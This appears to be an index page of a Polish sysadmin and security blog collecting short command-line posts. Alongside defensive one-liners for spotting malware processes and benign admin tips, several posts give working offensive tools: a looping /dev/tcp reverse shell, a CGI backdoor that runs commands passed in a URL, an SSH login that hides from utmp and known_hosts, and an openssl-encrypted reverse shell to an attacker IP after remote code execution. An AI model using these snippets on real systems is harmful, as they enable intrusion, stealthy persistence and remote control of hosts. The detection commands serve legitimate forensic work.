Napisał: Patryk Krawaczyński
12/08/2021 w Bezpieczeństwo, CmdLineFu
sudo grep -F '(deleted)' /proc/*/maps | grep -E '\s[r\-][w\-]x[sp\-]\s'
– znajdź działające procesy z usuniętymi plikami wykonalnymi.
sudo find /tmp -executable -not -empty -type b,c,f,l,p
– znajdź pliki wykonalne w katalogu /tmp.
sudo grep -a -E '^.{,5}\[' /proc/[0-9]*/cmdline
– znajdź procesy z nawiasami kwadratowymi (używane przez złośliwe oprogramowanie, aby wyglądały jak procesy jądra).
sudo grep -E '\s[r\-][w\-]x[sp\-]\s' /proc/*/maps | awk -F ' ' '{if(length($6)==0){split($1, arr, "/");print arr[3]}}' \
| sort | uniq | xargs -I {} -n 1 bash -c 'cat /proc/{}/cmdline; echo'
– znajdź i wyświetl procesy mające niezmapowane sekcje wykonalne.
Więcej informacji: Ściągawka z informatyki śledczej w wykrywaniu włamań za pomocą linii poleceń Linuksa, Thread with one-liners bash commands to search for malware in a Linux host
Napisał: Patryk Krawaczyński
24/04/2021 w Hacks & Scripts
while :;do sleep 5;/bin/bash -i >/dev/tcp/127.0.0.1/8080 0<&1 2>&1;done
Napisał: Patryk Krawaczyński
05/04/2021 w Bezpieczeństwo
J
eśli w katalogu domowym użytkownika istnieje plik ~/.ssh/rc
– sh(1) uruchomi go po przeczytaniu plików środowiskowych, ale przed uruchomieniem powłoki lub polecenia użytkownika (nawet jeśli wyłączymy alokację TTY). Plik ten nie może generować żadnych danych na standardowy strumień wyjścia (stdout
); zamiast tego należy użyć standardowego strumienia błędów (stderr
). Przykład:
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
10/03/2021 w Administracja
r
lWrap jest opakowaniem biblioteki readline umożliwiającym edycję danych wejściowych z klawiatury dla dowolnego polecenia; zapewnia również mechanizm historii, który jest bardzo przydatny do poprawiania lub ponownego wykorzystywania poleceń. Program ten można wykorzystać wszędzie tam, gdzie interfejs wiersza poleceń danego narzędzia nie umożliwia takich czynności. W dodatku, jeśli posiadamy wolne połączenia z daną siecią, gdzie każde naciśnięcie klawisza jest przesyłane jedno po drugim w zauważalnej pauzie, a każda literówka staje się o wiele bardziej frustrująca i czasochłonna dla nas – rlwrap również sprawdza się w tej sytuacji, ponieważ buforuje wszystkie pojedyncze naciśnięcia klawiszy do momentu naciśnięcia klawisza [Enter]
, a następnie przesyła jednocześnie całą wprowadzoną linię tekstu. To znacznie ułatwia pisanie z dużą prędkością i poprawianie literówek.
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
25/02/2021 w Hacks & Scripts
ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -T agresor@192.168.1.1 \
"bash -i"
Jeśli w ten sposób połączymy się z wybranym serwerem przez SSH, to nasz użytkownik nie zostanie dodany do pliku /var/log/utmp i nie pojawi się w poleceniu who
(zalogowanych użytkowników). Pominie również takie pliki, jak .profile
oraz .bash_profile
, a po stronie klienta nie zarejestruje nazwy hosta zapisując go do pliku ~/.ssh/known_hosts:
agresor@darkstar:~$ w
w
22:44:35 up 11 min, 1 user, load average: 0.05, 0.03, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 - 22:37 5:15 0.04s 0.03s -bash
agresor@darkstar:~$ who
who
root tty1 2021-02-25 22:37
Prawie niewidzialne SSH, ponieważ połączenie sieciowe nadal widnieje w systemie:
agresor@darkstar:~$ ss -t
ss -t
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
ESTAB 0 0 192.168.56.2:ssh 192.168.56.1:49998
Plus możemy zacząć szukać sesji, które nie mają zaalokowanego terminala:
agresor@darkstar:~$ loginctl | grep -v pts
SESSION UID USER SEAT TTY
3 1000 agresor
3 sessions listed.
agresor@darkstar:~$ loginctl session-status 3
3 - agresor (1000)
Since: Mon 2022-11-21 22:01:48 UTC; 37min ago
Leader: 1880 (sshd)
Remote: 127.0.0.1
Service: sshd; type tty; class user
State: active
Unit: session-3.scope
├─1880 "sshd: agresor [priv]"
├─1927 "sshd: agresor@notty" ""
└─1928 bash -i
Nov 21 22:01:48 darkstar systemd[1]: Started Session 3 of User agresor.
agresor@darkstar:~$ pstree `ps -eo pid,cmd | grep sshd\:.*@notty \
| grep -v grep | awk '{ print $1 }'` -ap
sshd,1927
└─bash,1928 -i
Więcej informacji: man ssh
Napisał: Patryk Krawaczyński
14/01/2021 w CmdLineFu
while read x; do echo -e "$x\n`aptitude why $x`" | grep 'Manually installed' -B1 |\
grep -v '^Manually installed\|^--'; done <<< $(apt-mark showmanual)
Napisał: Patryk Krawaczyński
16/11/2020 w Hacks & Scripts
cd /tmp
mkdir cgi-bin
echo '#!/bin/bash' > ./cgi-bin/backdoor.cgi
echo 'echo -e "Content-Type: text/plain\n\n"' >> ./cgi-bin/backdoor.cgi
echo 'spc=" "' >> ./cgi-bin/backdoor.cgi
echo 'str=$1' >> ./cgi-bin/backdoor.cgi
echo 'cmd=$(echo "${str//XXX/$spc}")' >> ./cgi-bin/backdoor.cgi
echo 'printf '"'"'%s\n'"'"' "$($cmd)"' >> ./cgi-bin/backdoor.cgi
chmod +x ./cgi-bin/backdoor.cgi
python -m http.server --cgi
curl "http://localhost:8000/cgi-bin/backdoor.cgi?unameXXX-a"
Darwin johhny5 19.6.0 Darwin Kernel Version 19.6.0: Thu Oct 29 22:56:45 PDT 2020;
root:xnu-6153.141.2.2~1/RELEASE_X86_64 x86_64
Więcej informacji: Mark Baggett github gist
Napisał: Patryk Krawaczyński
09/05/2020 w Hacks & Scripts
P
isząc i uruchamiając skrypty bash lepiej poczekać z ich edycją do czasu aż zakończą swoje działanie. Dlaczego? W naszym ulubionym edytorze stwórzmy prosty skrypt:
#!/bin/bash
sleep 30
#echo "All your base are belong to us!"
echo "Done!"
Jeśli uruchomimy go teraz w jednym oknie terminala to po 30 sekundach powinniśmy otrzymać tylko i wyłącznie komunikat o treści: Done!. Dobrze, a teraz po uruchomieniu go w pierwszym oknie terminala – z poziomu innego okna edytujmy jego zawartość, gdy ten jeszcze nie przekroczył czasu 30 sekund i usuńmy zero (0) z trzydziestki zostawiając samą trójkę (3), czyli finalnie nasz skrypt powinien mieć postać:
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
08/03/2020 w Hacks & Scripts
Z
ałóżmy, że posiadamy wiele projektów u publicznego dostawcy chmury obliczeniowej. Jeśli pracują na nich różni użytkownicy może dojść do sytuacji, w której zostanie otwartych zbyt wiele portów do danej usługi. Aby posiadać kontrolę nad tym, co nowego pojawia się w projektach można m.in. systematycznie skanować ich adresy IP. Jednak, aby cały proces nie trwał za długo nawet dla dużej ilości projektów można go zrównoleglić. Na pomoc przychodzi nam już znany parallel. Na początek musimy stworzyć listę projektów w formacie CSV:
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
23/02/2020 w Pen Test
Skoro wszędzie dzisiaj mamy szyfrowanie – wypada, aby powłoki zwrotne również były szyfrowane. W celu uruchomienia serwera do nasłuchu należy wygenerować klucz oraz certyfikat na maszynie (o IP: 1.2.3.4
) służącej do ataku:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
Odpalenie serwera:
openssl s_server -quiet -key key.pem -cert cert.pem -port 8080
Na atakowanej maszynie, na której mamy możliwość RCE (ang. Remote Code Execution) wydajemy polecenie:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 \
| openssl s_client -quiet -connect 1.2.3.4:8080 > /tmp/s; rm /tmp/s
Więcej informacji: RevSSL
Ostatni komentarz :